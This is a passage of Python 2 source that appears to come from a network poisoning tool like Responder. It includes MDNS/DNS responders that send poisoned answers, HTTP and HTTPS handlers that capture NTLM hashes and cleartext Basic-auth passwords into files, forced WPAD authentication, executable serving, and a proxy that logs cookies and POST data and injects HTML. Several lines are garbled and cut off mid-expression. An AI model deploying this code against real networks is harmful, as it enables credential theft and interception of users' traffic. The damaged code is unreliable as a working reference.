if self.client_address[0] == "127.0.0.1":
pass
elif ParseDNSType(data):
buff = DNSAns()
buff.calculate(data)
soc.sendto(str(buff), self.client_address)
#print "DNS Answer sent to: %s "%(self.client_address[0])
logging.warning('DNS Answer sent to: %s'%(self.client_address[0]))
class DNSTCP(BaseRequestHandler):
def handle(self):
try:
data = self.request.recv(1024)
if self.client_address[0] == "127.0.0.1":
pass
elif ParseDNSType(data):
buff = DNSAns()
buff.calculate(data)
self.request.send(str(buff))
#print "DNS Answer sent to: %s "%(self.client_address[0])
logging.warning('DNS Answer sent to: %s'%(self.client_address[0]))
except Exception:
pass
##################################################################################
#MDNS Stuff
##################################################################################
class MDNSAns(Packet):
fields = OrderedDict([
("Tid", "\x00\x00"),
("Flags", "\x84\x00"),
("Question", "\x00\x00"),
("AnswerRRS", "\x00\x01"),
("AuthorityRRS", "\x00\x00"),
("AdditionalRRS", "\x00\x00"),
("AnswerName", ""),
("AnswerNameNull", "\x00"),
("Type", "\x00\x01"),
("Class", "\x00\x01"),
("TTL", "\x00\x00\x00\x78"),##Poison for 2mn.
("IPLen", "\x00\x04"),
("IP", "\x00\x00\x00\x00"),
])
def calculate(self):
self.fields["IP"] = inet_aton(OURIP)
self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"]))
def Parse_MDNS_Name(data):
data = data[12:]
NameLen = struct.unpack('>B',data[0])[0]
Name = data[1:1+NameLen]
NameLen_ = struct.unpack('>B',data[1+NameLen])[0]
Name_ = data[1+NameLen:1+NameLen+NameLen_+1]
return Name+'.'+Name_
def Poisoned_MDNS_Name(data):
data = data[12:]
Name = data[:len(data)-5]
return Name
class MDNS(BaseRequestHandler):
def handle(self):
MADDR = "224.0.0.251"
MPORT = 5353
data, soc = self.request
if self.client_address[0] == "127.0.0.1":
pass
try:
if Analyze(AnalyzeMode):
if Parse_IPV6_Addr(data):
#print '[Analyze mode: MDNS] Host: %s is looking for : %s'%(self.client_address[0],Parse_MDNS_Name(data))
logging.warning('[Analyze mode: MDNS] Host: %s is looking for : %s'%(self.client_address[0],Parse_MDNS_Name(data)))
if RespondToSpecificHost(RespondTo):
if Analyze(AnalyzeMode) == False:
if RespondToIPScope(RespondTo, self.client_address[0]):
if Parse_IPV6_Addr(data):
#print 'MDNS poisoned answer sent to this IP: %s. The requested name was : %s'%(self.client_address[0],Parse_MDNS_Name(data))
logging.warning('MDNS poisoned answer sent to this IP: %s. The requested name was : %s'%(self.client_address[0],Parse_MDNS_Name(data)))
Name = Poisoned_MDNS_Name(data)
MDns = MDNSAns(AnswerName = Name)
MDns.calculate()
soc.sendto(str(MDns),(MADDR,MPORT))
if Analyze(AnalyzeMode) == False and RespondToSpecificHost(RespondTo) == False:
if Parse_IPV6_Addr(data):
#print 'MDNS poisoned answer sent to this IP: %s. The requested name was : %s'%(self.client_address[0],Parse_MDNS_Name(data))
logging.warning('MDNS poisoned answer sent to this IP: %s. The requested name was : %s'%(self.client_address[0],Parse_MDNS_Name(data)))
Name = Poisoned_MDNS_Name(data)
MDns = MDNSAns(AnswerName = Name)
MDns.calculate()
soc.sendto(str(MDns),(MADDR,MPORT))
else:
pass
except Exception:
raise
##################################################################################
#HTTP Stuff
##################################################################################
from HTTPPackets import *
from HTTPProxy import *
#Parse NTLMv1/v2 hash.
def ParseHTTPHash(data,client):
LMhashLen = struct.unpack(' 24:
NthashLen = 64
DomainLen = struct.unpack('2:
PostData = 'The HTTP POST DATA in this request was: %s'%(''.join(POSTDATA).strip())
#print PostData
logging.warning(PostData)
#Handle HTTP packet sequence.
def PacketSequence(data,client):
Ntlm = re.findall('(?<=Authorization: NTLM )[^\\r]*', data)
BasicAuth = re.findall('(?<=Authorization: Basic )[^\\r]*', data)
if ServeEXEOrNot(Exe_On_Off) and re.findall('.exe', data):
File = config.get('HTTP Server', 'ExecFilename')
buffer1 = ServerExeFile(Payload = ServeEXE(data,client,File),filename=File)
buffer1.calculate()
return str(buffer1)
if ServeEXECAlwaysOrNot(Exec_Mode_On_Off):
if IsExecutable(FILENAME):
buffer1 = ServeAlwaysExeFile(Payload = ServeEXE(data,client,FILENAME),ContentDiFile=FILENAME)
buffer1.calculate()
return str(buffer1)
else:
buffer1 = ServeAlwaysNormalFile(Payload = ServeEXE(data,client,FILENAME))
buffer1.calculate()
return str(buffer1)
if Ntlm:
packetNtlm = b64decode(''.join(Ntlm))[8:9]
if packetNtlm == "\x01":
GrabURL(data,client)
GrabCookie(data,client)
r = NTLM_Challenge(ServerChallenge=Challenge)
r.calculate()
t = IIS_NTLM_Challenge_Ans()
t.calculate(str(r))
buffer1 = str(t)
return buffer1
if packetNtlm == "\x03":
NTLM_Auth= b64decode(''.join(Ntlm))
ParseHTTPHash(NTLM_Auth,client)
if WpadForcedAuth(Force_WPAD_Auth) and WpadCustom(data,client):
Message = "WPAD (auth) file sent to: %s"%(client)
if Verbose:
#print Message
logging.warning(Message)
logging.warning(Message)
buffer1 = WpadCustom(data,client)
return buffer1
else:
buffer1 = IIS_Auth_Granted(Payload=HTMLToServe)
buffer1.calculate()
return str(buffer1)
if BasicAuth:
GrabCookie(data,client)
GrabURL(data,client)
outfile = os.path.join(ResponderPATH,"HTTP-Clear-Text-Password-"+client+".txt")
if PrintData(outfile,b64decode(''.join(BasicAuth))):
logging.warning("HTTP-User & Password:", b64decode(''.join(BasicAuth)))
WriteData(outfile,b64decode(''.join(BasicAuth)), b64decode(''.join(BasicAuth)))
logging.warning('HTTP-User & Password: %s'%(b64decode(''.join(BasicAuth))))
if WpadForcedAuth(Force_WPAD_Auth) and WpadCustom(data,client):
Message = "WPAD (auth) file sent to: %s"%(client)
if Verbose:
logging.warning(Message)
logging.warning(Message)
buffer1 = WpadCustom(data,client)
return buffer1
else:
buffer1 = IIS_Auth_Granted(Payload=HTMLToServe)
buffer1.calculate()
return str(buffer1)
else:
return str(Basic_Ntlm(Basic))
#HTTP Server Class
class HTTP(BaseRequestHandler):
def handle(self):
try:
while True:
self.request.settimeout(1)
data = self.request.recv(8092)
buff = WpadCustom(data,self.client_address[0])
if buff and WpadForcedAuth(Force_WPAD_Auth) == False:
Message = "WPAD (no auth) file sent to: %s"%(self.client_address[0])
if Verbose:
#print Message
logging.warning(Message)
logging.warning(Message)
self.request.send(buff)
else:
buffer0 = PacketSequence(data,self.client_address[0])
self.request.send(buffer0)
except Exception:
pass#No need to be verbose..
##################################################################################
#HTTP Proxy Stuff
##################################################################################
def HandleGzip(Headers, Content, Payload):
if len(Content) > 5:
try:
unziped = zlib.decompress(Content, 16+zlib.MAX_WBITS)
except:
return False
InjectPayload = Payload
Len = ''.join(re.findall('(?<=Content-Length: )[^\r\n]*', Headers))
HasHTML = re.findall('(?<=1:
try:
Headers, Content = data.split('\r\n\r\n')
except:
return data
RedirectCodes = ['HTTP/1.1 300', 'HTTP/1.1 301', 'HTTP/1.1 302', 'HTTP/1.1 303', 'HTTP/1.1 304', 'HTTP/1.1 305', 'HTTP/1.1 306', 'HTTP/1.1 307']
if [s for s in RedirectCodes if s in Headers]:
return data
if "Content-Encoding: gzip" in Headers:
Gzip = HandleGzip(Headers,Content, Payload)
if Gzip:
return Gzip
else:
return data
if "content-type: text/html" in Headers.lower():
Len = ''.join(re.findall('(?<=Content-Length: )[^\r\n]*', Headers))
HasHTML = re.findall('(?<== 0:
host_port = netloc[:i], int(netloc[i+1:])
else:
host_port = netloc, 80
try: soc.connect(host_port)
except socket.error, arg:
try: msg = arg[1]
except: msg = arg
self.send_error(404, msg)
return 0
return 1
def do_CONNECT(self):
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
if self._connect_to(self.path, soc):
self.wfile.write(self.protocol_version +
" 200 Connection established\r\n")
self.wfile.write("Proxy-agent: %s\r\n" % self.version_string())
self.wfile.write("\r\n")
try:
self._read_write(soc, 300)
except:
pass
finally:
soc.close()
self.connection.close()
def do_GET(self):
(scm, netloc, path, params, query, fragment) = urlparse.urlparse(
self.path, 'http')
if scm not in ('http') or fragment or not netloc:
self.send_error(400, "bad url %s" % self.path)
return
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
if scm == 'http':
if self._connect_to(netloc, soc):
soc.send("%s %s %s\r\n" % (self.command,
urlparse.urlunparse(('', '', path,
params, query,
'')),
self.request_version))
if "Cookie" in self.headers:
Cookie = self.headers['Cookie']
else:
Cookie = ''
Message = "Requested URL: %s\nComplete Cookie: %s\nClient IP is: %s\n"%(self.path, Cookie, self.client_address[0])
if Verbose == True:
print Message
OutFile = os.path.join(ResponderPATH,"HTTPCookies/HTTP-Cookie-request-"+netloc+"-from-"+self.client_address[0]+".txt")
WriteData(OutFile,Message, Message)
self.headers['Connection'] = 'close'
del self.headers['Proxy-Connection']
for key_val in self.headers.items():
soc.send("%s: %s\r\n" % key_val)
soc.send("\r\n")
try:
self._read_write(soc, netloc)
except:
pass
finally:
soc.close()
self.connection.close()
def _read_write(self, soc, netloc='', max_idling=30):
iw = [self.connection, soc]
ow = []
count = 0
while 1:
count += 1
(ins, _, exs) = select.select(iw, ow, iw, 1)
if exs:
break
if ins:
for i in ins:
if i is soc:
out = self.connection
try:
if len(HTMLToServe)>5:
data = InjectData(i.recv(8192))
if InjectPage(i.recv(8192),self.client_address[0]):
data = InjectPage(i.recv(8192),self.client_address[0])
else:
data = i.recv(8192)
except:
pass
else:
out = soc
data = i.recv(8192)
if self.command == "POST":
Message = "POST data was: %s\n"%(data)
if Verbose == True:
print Message
OutFile = os.path.join(ResponderPATH,"HTTPCookies/HTTP-Cookie-request-"+netloc+"-from-"+self.client_address[0]+".txt")
WriteData(OutFile,Message, Message)
if data:
try:
out.send(data)
count = 0
except:
pass
if count == max_idling:
break
return None
do_HEAD = do_GET
do_POST = do_GET
do_PUT = do_GET
do_DELETE=do_GET
##################################################################################
#HTTPS Server
##################################################################################
from OpenSSL import SSL
#Parse NTLMv1/v2 hash.
def ParseHTTPSHash(data,client):
LMhashLen = struct.unpack(' 24:
#print "[+]HTTPS NTLMv2 hash captured from :",client
logging.warning('HTTPS NTLMv2 hash captured from :%s'%(client))
NthashLen = 64
DomainLen = struct.unpack(' 10:
LMhashOffset = struct.unpack('i',data[2:6])[0]
MessageSequence = struct.unpack('i',data[11:15])[0]
LDAPVersion = struct.unpack(' 0:
time.sleep(1)
except KeyboardInterrupt:
exit()